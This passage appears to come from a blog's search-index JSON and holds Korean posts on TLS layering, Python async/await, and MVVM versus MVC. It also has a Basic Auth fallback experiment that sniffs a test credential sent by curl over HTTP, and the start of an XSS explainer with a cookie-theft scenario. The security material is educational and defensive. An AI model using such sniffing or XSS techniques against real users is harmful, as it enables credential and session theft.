해석하게 되었는지를 정리해본 기록이다.6. 마무리나는 남이 만들어 놓은 코드를그 안에 담긴 흐름과 판단을 읽어보려 했다.그 과정에서, MVVM이라고 전달받았지만실제로는 MVC에 가까웠던 구조임을 스스로 판단하게 되었다.“이 구조는 왜 이렇게 돼 있었을까?”,“그 판단은 내가 납득할 수 있었는가?”,“그 판단에 내가 책임질 수 있을 정도로 이해했는가?”이 질문들을 해보는 과정 자체가내가 구조를 ‘따라가는 사람’에서구조를 ‘판단할 줄 아는 사람’으로 옮겨가는 첫걸음이었다. 앞으로도 내가 겪는 구조 속 위화감 하나하나를이런 식으로 다시 읽어볼 수 있다면,이 기록은 나에게 꽤 의미 있는 나침반이 되어줄지도 모른다. 다른 관점이나 피드백은 언제나 환영합니다." }, { "title": "TLS는 왜 네트워크 보안이라고 불리는가?", "url": "/posts/why-tls-is-network-security/", "categories": "Tech, Security", "tags": "보안, 개발개념정리, tls", "date": "2025-04-01 20:00:00 +0900", "snippet": " 애플리케이션 단과 전송 계층 사이에서 암호화가 이루어지는 TLS, 왜 네트워크 보안이라고 불릴까?✅ TLS는 왜 네트워크 보안이라고 불리는가?최근 보안 공부를 하면서 TLS를 “네트워크 보안”이라고 하는 것에 혼란을 겪었습니다.TLS(Transport Layer Security)는 직역하면 ‘전송 계층 보안’입니다.하지만 사람들은 흔히 TLS를 설...", "content": " 애플리케이션 단과 전송 계층 사이에서 암호화가 이루어지는 TLS, 왜 네트워크 보안이라고 불릴까?✅ TLS는 왜 네트워크 보안이라고 불리는가?최근 보안 공부를 하면서 TLS를 “네트워크 보안”이라고 하는 것에 혼란을 겪었습니다.TLS(Transport Layer Security)는 직역하면 ‘전송 계층 보안’입니다.하지만 사람들은 흔히 TLS를 설명할 때,네트워크 암호화 또는 네트워크 보안이라는 용어를 사용합니다.저는 처음 이 용어를 듣고 IPsec처럼네트워크 계층에서 동작하며 장비 수준의 암호화처럼 느껴지는 프로토콜을 떠올렸습니다.그래서 TLS가 정확히 OSI 모델의 어느 계층에서 작동하는지부터 명확히 이해할 필요가 있었습니다.🧱 OSI 모델에서 TLS의 위치TLS는 OSI 7계층 모델의 세션 계층 5계층과 표현 계층 6계층 사이에서 작동하는 것으로 알려져 있습니다.실제로 TLS는 HTTPS 등 애플리케이션 프로토콜 아래, TCP 전송 계층 위에 위치합니다.graph TD A[Application Layer] --&gt; B[Presentation Layer &lt;br&gt; TLS 암호화/복호화] B --&gt; C[Session Layer &lt;br&gt; TLS 핸드쉐이크, 키 교환] C --&gt; D[Transport Layer TCP] D --&gt; E[Network Layer IP] E --&gt; F[Data Link Layer] F --&gt; G[Physical Layer] subgraph TLS 작동 위치 B C end style B fill:#fdd style C fill:#fdd처음 이 내용을 접했을 때 헷갈렸던 이유는,“네트워크 암호화”라는 표현이 라우터 같은 3계층 장비에서 암호화가 이루어진다고 오해하게 만들었기 때문입니다.하지만 실제로 TLS는 네트워크 장비가 아니라, 내 로컬 컴퓨터에서 암호화를 시작합니다.⚙️ 실무 TCP/IP 관점에서 본 TLS의 위치현대 네트워크는 TCP/IP 4계층 모델 중심으로 동작합니다.TLS는 TCP 위에서, 즉 Application Layer와 Transport Layer 사이에서 동작합니다.애플리케이션이 TLS를 직접 사용합니다.graph TD A[Application Layer] --&gt; T[TLS 작동 위치] T --&gt; D[Transport Layer TCP] D --&gt; E[Network Layer IP] E --&gt; F[Data Link Layer] F --&gt; G[Physical Layer] style T fill:#fdd,stroke:#f99,stroke-width:2px🔐 TLS 암호화의 원리TLS는 애플리케이션이 데이터를 보내기 전에,로컬에서 인증서를 통해 합의된 세션 키 Session Key를 이용해 데이터를 암호화합니다.이후 이 암호화된 데이터가 TCP 패킷에 실려 네트워크를 통해 전송됩니다.학원에서 해당 부분에 대해 기술사님께 여쭤봤을 때, 이를 “애플리케이션과 TCP 사이에 암호화된 터널을 형성한다”라고 표현하셨습니다.이 표현은 이해를 돕는 데 효과적이지만,실제 구조상 TLS는 암호화된 데이터를 생성하여 TCP 위에 실어 보낼 뿐이며,실제로 물리적인 터널을 만드는 것은 아닙니다.네트워크 중간의 라우터는 암호화된 패킷을 목적지까지 전달할 뿐, 그 안의 내용을 볼 수 없습니다.sequenceDiagram participant Client App participant TLS Layer participant TCP participant Network Client App-&gt;&gt;TLS Layer: 평문 데이터 전달 HTTP TLS Layer-&gt;&gt;TLS Layer: 암호화 - 세션키 사용 TLS Layer-&gt;&gt;TCP: 암호화된 데이터 전달 TCP-&gt;&gt;Network: 암호화된 패킷 전송 Network--&gt;&gt;TCP: 암호화된 패킷 수신 TCP--&gt;&gt;TLS Layer: 암호화된 데이터 TLS Layer--&gt;&gt;Client App: 복호화 후 데이터📦 TLS 내부 구조 – Record Protocol 기반 흐름 ※ 아래 도식은 TLS의 실제 실행 순서가 아닌, 구성 요소 간 관계를 단순화하여 표현한 것입니다.graph TB A[Application Data HTTP] A --&gt; B[Handshake Protocol] A --&gt; C[Alert Protocol] A --&gt; D[Change Cipher Spec] A --&gt; E[Record Protocol uses Session Key for Encryption] E --&gt; F[암호화된 데이터 전송] F --&gt; G[Transmission over TCP Socket] style A fill:#ffffff,stroke:#000 style B fill:#e0f7fa style C fill:#ffe0b2 style D fill:#c8e6c9 style E fill:#d1c4e9 style F fill:#dcedc8 style G fill:#f0f4c3📌 그렇다면 왜 TLS가 네트워크 보안인가?TLS를 “네트워크 보안”이라 부르는 이유는데이터가 네트워크를 통과하는 모든 구간에서 암호화된 상태로 보호되기 때문입니다.TLS는 네트워크 장비에서 직접 데이터를 암호화하지 않지만,이미 암호화된 데이터가 전송되기 때문에 중간에서 데이터를도청하거나 변조하는 공격을 어렵게 만듭니다.즉, TLS는 실제 장비가 아니라 애플리케이션 수준에서 암호화를 수행하지만,결과적으로는 네트워크 전체를 지나는 동안 데이터를 보호하기 때문에관습적으로 네트워크 보안(암호화)이라고 불리게 된 것입니다.✅ 결론이번에 TLS를 명확히 이해하면서 다음과 같은 결론을 얻었습니다. TLS는 애플리케이션과 TCP 사이에서 데이터를 암호화하여,네트워크를 안전하게 통과하게 만듭니다.흔히 “터널”로 비유되지만, 실제로는로컬에서 암호화된 데이터를 TCP에 실어 보내는 구조에 가깝습니다. TLS가 네트워크 보안이라고 불리는 이유는네트워크의 모든 구간에서 데이터가 안전하게 보호되기 때문입니다. 네트워크 보안이라는 용어는암호화를 적용하는 위치가 아니라,네트워크를 지나는 동안 데이터를 보호하는 효과에 초점을 두고 있습니다. 실제로 TLS 인증서 만료 이슈로 교체 작업을 직접 진행한 적이 있었고,실무에서는 단순히 인증서를 교체하는 작업이었지만,이번 글을 통해 그 아래에서 어떤 구조가 작동하고 있었는지 이해하게 됐습니다.혹시 다른 시각이나 보완할 점이 있다면 언제든 편하게 알려주시기 바랍니다." }, { "title": "Fallback으로 Basic Auth가 선택되면 – 보안은 안전할까?", "url": "/posts/fallback-security/", "categories": "Tech, Security", "tags": "보안, 인증, tls, 개발자성장, 실무기록", "date": "2025-03-27 21:00:00 +0900", "snippet": " 로그에서 확인된 fallback으로 해당 문제점에 대해 알아봅시다.들어가며사실 처음에는 별다른 생각이 없었습니다. 단순히 로그에 기록된 디버그 메시지 하나쯤으로 여겼습니다.로그에는 Challenge for Negotiate authentication scheme not available라는 메시지가 남아 있었습니다.Challenge라는 용어 자체는...", "content": " 로그에서 확인된 fallback으로 해당 문제점에 대해 알아봅시다.들어가며사실 처음에는 별다른 생각이 없었습니다. 단순히 로그에 기록된 디버그 메시지 하나쯤으로 여겼습니다.로그에는 Challenge for Negotiate authentication scheme not available라는 메시지가 남아 있었습니다.Challenge라는 용어 자체는 알고 있었지만, 실제 인증 흐름 속에서 마주친 것은 이번이 처음이었습니다.이 로그가 출력된 맥락은 이 글의 초점과 직접 관련이 없어 생략합니다.[클라이언트] ── 요청 ──────────────▶ [서버][클라이언트] ◀─ 401 Unauthorized, WWW-Authenticate: Negotiate ─ [서버] (Challenge)[클라이언트] ── Authorization: (인증정보) ───▶ [서버][클라이언트] ◀─ 200 OK ────────────── [서버] (인증 성공)이것이 바로 인증 과정에서 말하는 Challenge입니다.이번 이슈는 서버가 보낸 Challenge를 클라이언트가 정상적으로 처리하지 못해서 발생한 것이었습니다.인증 흐름 분석 서버는 SPNEGO 기반의 Negotiate 인증을 요구합니다. 클라이언트는 Kerberos와 NTLM 인증 등의 인증방법을 순차적으로 시도합니다. 클라이언트가 이 인증 방식들을 모두 처리할 수 없거나 인증이 실패하면, 최종적으로는 Basic Auth 방식으로 fallback되어 인증을 다시 시도합니다.🔓인증 정보 전송 구조와 보안 리스크클라이언트에서 사용하는 username/password는프로퍼티 파일 내에서 암호화 라이브러리를 사용해 암호화된 형태로 저장되고 있었습니다.저장 시점에서는 평문 노출 없이 안전하게 관리되고 있었던 셈입니다.다만 애플리케이션 실행 시 이 값은 복호화되어 사용되고,Basic Auth 방식으로 요청을 보낼 때는base64로 인코딩된 형태로 Authorization 헤더에 포함되어 전송됩니다.이러한 동작은 단순한 구현 관행이 아닌, HTTP Basic Authentication 공식 명세 (RFC 7617) 에 명시된 동작입니다. 따라서 대부분의 언어나 HTTP 라이브러리가 기본적으로 이 방식으로 동작합니다.문제는 TLS가 적용되지 않은 상태라면 이 값은 네트워크 상에서 평문처럼 노출될 수 있는 구조이고,특히 같은 네트워크에 위치한 공격자(중간자)가 Promiscuous 모드로 패킷을 감청하고 있다면,자신을 목적지로 하지 않는 패킷도 수신할 수 있기 때문에 인증 정보가 그대로 노출될 수 있습니다.이 fallback이 단순한 예외 처리가 아니라, 실제 보안 리스크로 이어질 수 있는 가능성을 내포하고 있는 셈입니다.HTTP Basic Auth 인증정보는 네트워크에서 어떻게 보일까?앞서 언급했던 인증 방식이 실패했을 때 fallback되어 Basic 인증으로 전환되면 어떤 보안적 위험이 발생할 수 있을까요?이번 실험은 Negotiate 인증(Challenge) 자체의 세부 동작보다는,최종적으로 Basic Auth로 fallback되었을 때 인증 정보가 얼마나 쉽게 노출될 수 있는지를 직접 확인하기 위해 진행하였습니다.🔧 실험 구성 FastAPI로 구성한 테스트 서버 (Gunicorn, HTTP로 동작, 포트 8000) 로컬 PC에서 인증 헤더를 포함한 요청 전송 Wireshark를 통해 요청 패킷을 실시간 캡처 및 분석 curl 명령어를 이용하여 Authorization 헤더를 명시적으로 추가해 요청 전송요청 명령어:curl -H \"Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=\" http://SERVER_PUBLIC_IP:8000🔎 Wireshark 캡처 결과Wireshark로 실험 패킷을 분석한 결과, 요청에 포함된 Authorization: Basic ... 헤더가 자동 디코딩되어 Credentials: testuser:testpass 형태의 평문 인증 정보로 표시되는 것을 확인할 수 있었습니다.즉, TLS가 적용되지 않은 HTTP 환경에서는 네트워크를 통해 오가는 패킷만 감청할 수 있다면, 인증 정보가 손쉽게 노출될 수 있습니다.실험 결과 요약 Basic 인증 헤더는 단지 Base64로 인코딩될 뿐, 암호화되지 않습니다. 내부망/공용망 관계없이 HTTP는 인증 정보 탈취 위험이 존재합니다.✅ 이번 실험을 통해, fallback으로 인해 Basic 인증이 선택될 수 있다는 점과그런 상황에서 TLS 적용이 얼마나 중요한지를 실감할 수 있었습니다.특히 TLS 인증서가 만료되거나 적용되지 않은 상태에서는인증 정보가 쉽게 노출될 수 있다는 점에서,Basic Auth는 반드시 HTTPS 환경에서만 사용되어야 한다는 원칙을 다시 확인하게 되었습니다.마무리하며처음에는 간단한 로그 메시지 하나에서 시작된 일이었습니다. 하지만 직접 패킷을 추적하고 인증 흐름을 분석해가며, 인증 구조와 그 이면에 있는 보안 리스크를 명확하게 이해할 수 있었습니다.사실 그동안 책이나 문서로만 접했던 인증의 Challenge라는 개념도 이번 경험을 통해 실제 인증 과정과 명확히 연결할 수 있었습니다.개발자로서 보안이라는 분야를 공부하면서 “어디까지 알아야 하는 걸까?” 하는 고민이 있었던 것도 사실입니다. 하지만 애초에 제가 보안 공부를 시작한 이유는 IT 전반에 대해 더 깊고 폭넓게 이해하고 싶었기 때문입니다.직접 로그를 분석하고 네트워크 패킷을 살펴보면서, “TLS가 왜 필수인지”“fallback이라는 간단한 동작이 어떻게 실제 보안 위협으로 연결되는지”실제 사례를 통해 생생하게 깨닫는 순간, 그동안의 공부가 헛되지 않았음을 느꼈습니다.꼭 보안 전문가가 되지 않더라도,이렇게 실무 경험을 글로 기록하고 정리하는 과정 자체가개발자로서 성장하는 제 자신에게 매우 의미 있는 한 걸음이라 생각합니다. 이 글은 제가 실제 경험한 내용을 바탕으로 작성했습니다.혹시 다른 시각이나 보완할 점이 있다면 언제든 편하게 알려주시기 바랍니다." }, { "title": "운영체제 관점에서 이해하는 Python의 async/await", "url": "/posts/python-async-await-os/", "categories": "Tech", "tags": "python, async, coroutine, os, 이벤트루프, 협력적스케줄링, 개발개념정리", "date": "2025-03-22 20:00:00 +0900", "snippet": " 운영체제 관점에서 Python의 async/await가 어떤 흐름 위에서 작동하는 건지 정리해보려합니다.운영체제에 대한 기본적인 이해(프로세스, 스레드, 스케줄링)를 갖춘 독자를 대상으로 합니다.Python의 async/await를 처음 접했을 때, “비동기 처리를 위한 문법”이라는 건 알았지만, 실제로 어떤 흐름으로 작동하는지는 명확히 알지 못했...", "content": " 운영체제 관점에서 Python의 async/await가 어떤 흐름 위에서 작동하는 건지 정리해보려합니다.운영체제에 대한 기본적인 이해(프로세스, 스레드, 스케줄링)를 갖춘 독자를 대상으로 합니다.Python의 async/await를 처음 접했을 때, “비동기 처리를 위한 문법”이라는 건 알았지만, 실제로 어떤 흐름으로 작동하는지는 명확히 알지 못했습니다. “프로세스는 CPU에 올라가야 실행되는데,내가 작성한 async 함수는 그 CPU 위에서 뭘 어떻게 하고 있는 걸까?”처음에는 단순히 이렇게 생각했습니다. “아, Python은 GIL(Global Interpreter Lock) 때문에 어차피 한 번에 하나의 스레드만 실행되니까,그래서 async도 CPU 바운드 작업에선 별 효과가 없는 거겠지.”※ GIL(Global Interpreter Lock)은 Python의 멀티스레딩에서 중요한 개념이지만,이 글에서는 async/await와 OS의 흐름 관계에 집중하기 위해 별도로 다루지 않습니다.본 글은 Python 3.12 기준으로 작성되었으며,향후 GIL 제거(nogil)와 관련된 구조 변화는 포함하지 않았습니다. await를 만나면 코드 흐름이 바뀐다고? 그럼 진짜 CPU에서 어떤 일이 일어나는 걸까? async는 I/O 바운드에 적합하다는데, 왜 CPU 바운드 작업엔 잘 안 맞는 걸까? 이건 단지 파이썬 문법의 문제가 아니라, OS 레벨의 스케줄링과 흐름 관리의 문제 아닌가?이 글은 그런 질문들에서 출발합니다.Python의 async/await를 단순한 문법이 아닌, 운영체제 위에서 작동하는 하나의 흐름 제어 방식으로 바라보고,OS와의 비교를 통해 그 구조를 이해해보려는 시도입니다.1. 왜 async/await을 운영체제 관점에서 보려는가많은 개발자들이 Python의 async/await을 단순한 비동기 문법,혹은 I/O 바운드 작업을 효율적으로 처리하는 방식 정도로 받아들입니다.저 역시 처음엔 그렇게 생각했지만, (혹시 저만 그런가요..? 👀)어느 순간 이런 질문이 생겼습니다: “이 흐름은 운영체제 위에서 어떤 식으로 작동하는 걸까?”이 글은 그 질문에서 출발해,Python의 async/await 구조를 운영체제 관점에서 해석해보려는 시도입니다.await이 CPU, 프로세스, 스레드, 타임슬라이스 등과 어떤 관계가 있는지를 바라보며,async의 동작이 실제로 어떻게 이루어지는지 살펴봅니다.왜 이런 접근이 필요한가요? await을 걸면 다른 작업이 실행될 수 있다는데,그 “다른 작업”은 정확히 어떤 조건에서 가능한가요? async는 싱글 스레드에서 동시성을 제공한다고 하는데,싱글 스레드에서 “동시성”이란 건 도대체 무슨 의미인가요? 그리고 CPU 바운드 작업에서는 async가 잘 안 먹힌다는데,그 이유는 정말 GIL 때문인가요, 아니면 OS 스케줄링과 관련된 건가요? 이 관점은 코루틴, 이벤트 루프, 멀티프로세싱, 멀티코어 실험으로 자연스럽게 이어지며,결국엔 이렇게 묻게 됩니다: “내 프로그램은 실제로 CPU 위에서 어떤 흐름으로 실행되고 있는가?” 🤓 참고로이 글에 나오는 코드와 도식은 (비교용 이미지를 제외하면) 모두 CPU 1개 환경 기준에서 실행된 결과를 바탕으로 작성했습니다.가능한 한 실제 출력 로그와 함께 정리했으며, 환경은 아래와 같습니다:Cloud 환경 – 물리 코어 1개 / 논리 코어 2개2. Python 프로세스 안에서 async는 어디서 돌아가는가운영체제 입장에서 보면,우리가 만든 Python 프로그램은 그저 하나의 프로세스일 뿐입니다.그 안에서 어떤 코드를 실행하든, 어떤 모듈을 쓰든OS는 전혀 알지 못합니다.우리가 작성한 Python 애플리케이션도 결국 운영체제 입장에서는 하나의 프로세스일 뿐입니다.다른 앱(예: Chrome, VSCode)들과 나란히 놓인 실행 단위 중 하나죠.그리고 이 프로세스 안에서 Python 런타임이 돌아가고,그 내부에서 asyncio, 코루틴, GIL 같은 구조가 동작합니다.flowchart TB subgraph OS[\"운영체제 (커널 공간)\"] subgraph PYPROC[\"프로세스: Python 앱\"] GIL[\"GIL\"] LOOP[\"asyncio\"] CORO[\"코루틴\"] end OTHERPROC[\"프로세스: 다른 앱 (ex. Chrome, VSCode)\"] CPU[\"CPU (실행 자원)\"] end PYPROC --&gt; CPU OTHERPROC --&gt; CPU즉, 우리가 async def를 만들고 await을 써도 운영체제는 아무것도 하지 않습니다.오직 Python 런타임 내부에서만 실행 흐름이 바뀝니다.그래서 이걸 협력적(cooperative) 스케줄링이라고 부릅니다.→ await이 없으면, Python은 다른 작업에게 CPU를 양보하지 않습니다.여기까지 정리하면,우리가 작성한 async/await 코드는 OS가 직접 다뤄주는 구조가 아니고,그저 Python 프로세스 안에서 일어나는 흐름 제어일 뿐이라는 걸 알 수 있습니다.3. async 코드에서 흐름이 바뀐다는 건 무슨 뜻일까?Python의 async/await 구조는운영체제가 CPU를 직접 제어하는 구조가 아니라,코드 내부에서 실행 흐름을 스스로 양보하는 방식입니다.아래 코드는 그걸 실험해본 코드입니다. 25년 4월 2일 좀 더 핵심 전달을 위해 delay 변수 제거로 코드 반영import asyncioimport time# sleep을 통해 서로 cpu를 양보하며 실행하는 경우async def yield_task(name): for i in range(3): print(f\"{name}: step {i} at {time.strftime('%X')}\") await asyncio.sleep(0) # 여기지점에서 양보 print(f\"{name} 완료 at {time.strftime('%X')}\")# 양보하지 않고 CPU를 점유하는 경우async def task(name): for i in range(3): print(f\"{name}: step {i} at {time.strftime('%X')}\") print(f\"{name} 완료 at {time.strftime('%X')}\")async def main(): await asyncio.gather( yield_task(\"yield_task1\"), yield_task(\"yield_task2\") ) await asyncio.gather( task(\"task1\"), task(\"task2\") )asyncio.run(main())🖥 실행 결과 (CPU 1개 환경)코루틴이 서로 번갈아 실행되는 경우 (await 사용) yield_task1와 yield_task2는 실행 중간에 await asyncio.sleep(0)을 만나 스스로 흐름을 양보합니다. 이 순간 이벤트 루프가 제어권을 얻어 다른 대기 중인 코루틴을 실행하게 되고, 두 코루틴이 번갈아 실행되는 구조가 만들어집니다.CPU를 양보하지 않는 경우 (await 없음) 실행 로그에서는 task1의 모든 step이 먼저 출력되고, 그 뒤에 task2의 로그가 출력됩니다. 이는 이벤트 루프가 다른 코루틴을 끼워 넣을 기회를 얻지 못했다는 뜻입니다.이를 통해 우리는 async가 단일 스레드에서 여러 코루틴을 빠르게 전환하며 실행되는 것임을 확인할 수 있습니다.즉, await를 통해 코루틴이 실행 흐름을 양보할 때,이벤트 루프는 다른 코루틴을 실행시켜 병렬처럼 보이는 실행 흐름을 만들어냅니다. 단, 실제로는 CPU가 동시에 여러 일을 처리하는 게 아니라, 싱글 스레드 안에서 빠르게 전환하는 방식이라는 점을 기억해야 합니다.4. CPU 바운드 작업도 흐름을 양보할 수 있을까?async는 I/O 바운드 작업에 최적화된 구조입니다.그런데 CPU를 오래 점유하는 작업에서도 중간에 흐름을 나눌 수 있을까요?결론부터 말하면 “가능은 하지만, 협조가 필요합니다.”아래 예제는 CPU를 계속 점유하는 작업 안에 일정 조건마다 await asyncio.sleep(0)을 넣어 다른 코루틴에게 실행 기회를 넘겨주는 구조입니다. 25년 4월 13일 좀 더 핵심 전달을 위해 delay 변수 제거로 코드 반영import asyncioimport timeasync def cpu_heavy(name): print(f\"{name}: start at {time.strftime('%X')}\") for i in range(10**8): if i % 2_000_000 == 0 : # 이 지점에서 흐름을 양보해 이벤트 루프가 다른 코루틴을 실행할 수 있게 해준다. await asyncio.sleep(0) print(f\"{name}: end at {time.strftime('%X')}\")async def io_task(name): print(f\"{name} started at {time.strftime('%X')}\") await asyncio.sleep(1) print(f\"{name} finished at {time.strftime('%X')}\")async def main(): await asyncio.gather( cpu_heavy(\"cpu_heavy_task\"), io_task(\"io_task\") )asyncio.run(main())🖥 실행 결과 (CPU 1개 환경)여기서 중요한 포인트 await asyncio.sleep(0)은 “다른 코루틴이 있다면 실행 기회를 양보하겠다”는 뜻입니다.즉, Python은 이 지점에서 이벤트 루프에게 제어권 넘기고, 다른 코루틴을 실행시킬 수 있는 기회를 제공합니다.덕분에 CPU를 혼자 독점하지 않고,다른 작업과 실행 흐름을 나눌 수 있는 구조가 됩니다.하지만 주의할 점도 있습니다. 너무 자주 await을 만나면 오히려 성능이 저하될 수 있습니다.매번 흐름을 양보할 때마다 context switch 비용이 발생하기 때문입니다.흐름 양보 없이 순수 CPU 작업만 수행하는 경우 25년 4월 2일 좀 더 핵심 전달을 위해 delay 변수 제거로 코드 반영import asyncioimport timeasync def cpu_heavy(name): print(f\"{name}: start at {time.strftime('%X')}\") for i in range(10**8): pass print(f\"{name}: end at {time.strftime('%X')}\")async def io_task(name): print(f\"{name} started at {time.strftime('%X')}\") await asyncio.sleep(1) print(f\"{name} finished at {time.strftime('%X')}\")async def main(): await asyncio.gather( cpu_heavy(\"cpu_heavy_task\"), io_task(\"io_task\") )asyncio.run(main())🖥 실행 결과 (CPU 1개 환경)이 결과를 보면,오히려 await로 흐름을 나눈 첫 번째 예제보다총 소요 시간이 짧았다는 점을 확인할 수 있습니다.결국 async는 “병렬 처리 도구”가 아니라“동시성을 협력적으로 제어하는 방식”이라는 점이 핵심입니다.5. CPU 바운드 작업에는 결국 멀티프로세싱?async는 I/O 바운드 작업에 잘 맞지만,CPU를 오래 점유하는 작업에는 큰 도움이 되지 않습니다.그 이유는 간단합니다. async는 흐름을 넘겨주는 방식일 뿐,하나의 CPU를 더 효율적으로 쓰게 해주는 구조는 아니기 때문입니다.Python에서는 GIL(Global Interpreter Lock) 때문에멀티스레딩으로는 CPU를 병렬로 사용할 수 없습니다.그래서 진짜 CPU를 병렬로 쓰고 싶다면멀티프로세싱을 사용해야 합니다.멀티프로세싱은 운영체제가 직접 여러 프로세스를 관리하고 각 프로세스를 서로 다른 CPU 코어에 배분할 수 있습니다.💡 그럼 멀티코어가 아니면?맞습니다.멀티코어가 아니면, 멀티프로세싱도 사실상 동시에 실행되는 건 아닙니다.하지만 운영체제는 각 프로세스에 타임슬라이스를 배분해서각각이 돌아가듯 보이게 만들 수는 있죠.(바로 그게 OS 스케줄링이 하는 일입니다)✅ 정리하자면 처리 방식 구조 CPU 바운드에 적합? 병렬성 async/await 단일 프로세스 내부 흐름 전환 ❌ ✕ (동시성만 있음) 멀티스레딩 Python에서는 GIL 때문에 제한 ❌ ✕ 멀티프로세싱 OS가 여러 프로세스를 스케줄링 ✅ ⭕ (멀티코어에서 효과적) 그래서 Python에서 I/O 바운드 작업 → async/await,CPU 바운드 작업 → multiprocessing으로 처리하는 게 일반적인 전략입니다.🧪 실험: 멀티코어 vs 싱글코어 환경에서 멀티프로세싱 성능 차이Python에서 CPU 바운드 작업을 multiprocessing으로 처리했을 때,CPU 코어 수에 따라 실제 실행 시간이 어떻게 달라지는지 실험해보았습니다.💻 실험 환경 Local : 물리코어 4, 논리코어 8\\ 항목 Cloud 환경 Local PC 환경 CPU 코어 수 물리코어 1,논리코어 2 물리코어 4, 논리코어 8 OS Ubuntu 24.04.1 LTS Ubuntu 24.04.2 LTS Python 버전 3.12.3 3.12.3 테스트 조건은 다음과 같습니다: 항목 값 프로세스 수 2개 고정 각 프로세스 작업 1억 루프 반복 비교 변수 CPU 코어 수 (1 vs 4) 🧾 테스트 코드import multiprocessingimport timedef cpu_bound_task(n): count = 0 for i in range(10 ** 8): count += i return countif __name__ == \"__main__\": print(f\"start at {time.strftime('%X')}\") start = time.time() processes = [] # 프로세스 수를 고정하여, 코어 수에 따른 실행 시간 차이를 관찰 process_count = 2 print(f\"process_count : {process_count}\") for _ in range(process_count): p = multiprocessing.Process(target=cpu_bound_task, args=(1,)) processes.append(p) p.start() for p in processes: p.join() print(f\"end at {time.strftime('%X')} 소요 시간: {time.time() - start:.2f}초\")🖥 실행 결과 멀티코어 환경\\ 싱글코어 환경\\ 환경 평균 소요 시간 멀티코어 (물리4, 논리 8개) 약 5.24초 싱글코어 (물리1, 논리 2개) 약 35.85초 동일한 작업(1억 루프 × 2개 프로세스)을 실행했음에도 불구하고,멀티코어 환경에서는 병렬로 처리되면서 실행 시간이 크게 단축된 것을 확인할 수 있습니다.✅ 이제는 이 질문에 이렇게 대답할 수 있습니다❓ await을 걸면 다른 작업이 실행될 수 있다는데?→ 맞습니다. 단, 그 코루틴이 자발적으로 양보(await)할 때만, Python 런타임의 이벤트 루프가 다른 대기 중인 코루틴을 실행할 수 있습니다. 이는 협력적(cooperative) 멀티태스킹 구조입니다.❓ async는 싱글 스레드에서 동시성을 제공한다고?→ 동시성은 “진짜 동시에”가 아니라, CPU를 쓰지 않는 I/O 작업 중의 대기 시간을 활용해, 다른 작업을 잠깐 끼워 넣는 구조입니다. 이는 코루틴 간의 협력(cooperative multitasking)으로 이루어집니다.❓ CPU 바운드 작업에서 async는 왜 효과가 없나요?→ 단순히 GIL 때문만은 아닙니다. 애초에 async는 CPU 점유 시간 자체를 줄여주는 구조가 아니며, 코루틴이 흐름을 양보하지 않으면, 이벤트 루프도 다른 작업을 끼워 넣을 수 없습니다. 따라서 CPU 바운드 작업에는 운영체제 수준의 병렬 처리, 즉 멀티프로세싱이 필요합니다.이제는 async/await이 단순한 문법이 아니라,운영체제 위에서 돌아가는 사용자 코드 흐름의 설계이자 선택이라는 걸명확히 말할 수 있게 되었습니다.✍️ 마무리하며이 글은 async 문법을 소개하는 글이 아닙니다.운영체제 관점에서, 그리고 CPU와의 관계를 기준으로Python의 async/await가 어떤 의미를 가지는지를 이해하려는 시도였습니다.처음엔 단순히 “await하면 멈추고, 그 사이 다른 거 하는 거 아냐?”정도로만 알고 있었던 개념이,실제로는 “CPU가 누구에게 실행 시간을 줄 것인가”,“그 실행 시간 안에서 내가 어떤 흐름을 만들어낼 수 있는가”라는 더 깊은 질문으로 이어졌습니다.이 질문을 따라가며 저는 아래의 사실들을 확인하게 되었습니다: async는 운영체제가 제어하는 흐름이 아니라,사용자 코드 안에서의 협력적인 흐름 전환이라는 점, CPU 바운드 작업은 async로 해결할 수 없고,운영체제가 직접 스케줄링하는 멀티프로세싱이 필요하다는 점, 그리고 멀티코어 환경이 진짜 병렬 처리의 핵심이라는 걸직접 실험을 통해 확인할 수 있었습니다.비동기 프로그래밍은 단순한 문법이 아니라,운영체제 위에서 돌아가는 코드의 본질을 이해하는 방법일지도 모릅니다. 이 글은 처음 async와 await이 진짜 뭔지 궁금했던저 스스로의 질문에서 출발한 기록입니다.알아본다고 이리저리 파보긴 했지만…저도 틀릴 수 있습니다! 피드백은 언제든 환영입니다." }, { "title": "XSS와 대응방안", "url": "/posts/XSS/", "categories": "Tech, Security", "tags": "cross site scripting, 크로스사이트스크립팅, xss", "date": "2025-03-09 21:00:00 +0900", "snippet": " XSS와 그 대응방안에 대해 알아봅시다.크로스 사이트 스크립팅공격자가 웹사이트에 악성스크립트를 삽입하여 사용자에게 실행되도록 하는 취약점입니다.XSS의 공격 대상은, 웹사이트의 사용자입니다. 원리는 악성 스크립트를 삽입하여 실행시킨다는 것을 이용합니다. 악성코드를 삽입하여 탈취한 정보로 세션을 탈취, 혹은 phising에 사용됩니다.Stored X...", "content": " XSS와 그 대응방안에 대해 알아봅시다.크로스 사이트 스크립팅공격자가 웹사이트에 악성스크립트를 삽입하여 사용자에게 실행되도록 하는 취약점입니다.XSS의 공격 대상은, 웹사이트의 사용자입니다. 원리는 악성 스크립트를 삽입하여 실행시킨다는 것을 이용합니다. 악성코드를 삽입하여 탈취한 정보로 세션을 탈취, 혹은 phising에 사용됩니다.Stored XSS (persistent 기법)공격자가 악성 스크립트를 웹 애플리케이션의 데이터베이스에 저장하고, 해당 데이터가 웹 페이지에서 사용자에게 제공될 때 실행되는 방식입니다.“stored” 해당 공격은 저장되어있는 데이터(악성코드가 함께 저장되어있는 데이터)를 이용하는 페이지에 방문한 모든 사람에게 영향을 줄 수 있는 특징이 있습니다.있음직한 시나리오로는, 해커가 게시글을 저장할 때 악성코드가 포함된 게시글을 작성해 서버에 보내고, 서버에서는 해커가 입력한 값에 대해 필터링없이 바로 DB에 저장. 해당 게시글을 열어보는 모든 유저에게 해커의 악성코드가 실행된다.Reflected XSS (non-persistent 기법)공격자가 조작한 HTTP요청이 서버에서 처리되어 그대로 브라우저에 반환될 때 발생합니다.“reflected” 를 통해 유추해보자면, 공격자의 악성 코드가 서버에서 처리되어 피해자에게 돌아오기 때문에 붙여짐을 알 수 있습니다! 서버가 입력값을 검증 없이 응답 페이지에 삽입하여 반환하기 때문에 발생합니다.해당 부분이 잘 이해가 가지 않아 시나리오를 작성해보았습니다. 공격자가 조작된 URL을 피해자에게 보냄 피해자가 클릭하면 요청이 서버로 전달됨 서버가 입력값을 검증없이 그대로 응답에 포함 -&gt; 브라우저에서 실행됨 악성 Javascript가 실행되어 쿠키를 탈취함 공격자가 피해자의 계정으로 로그인하여 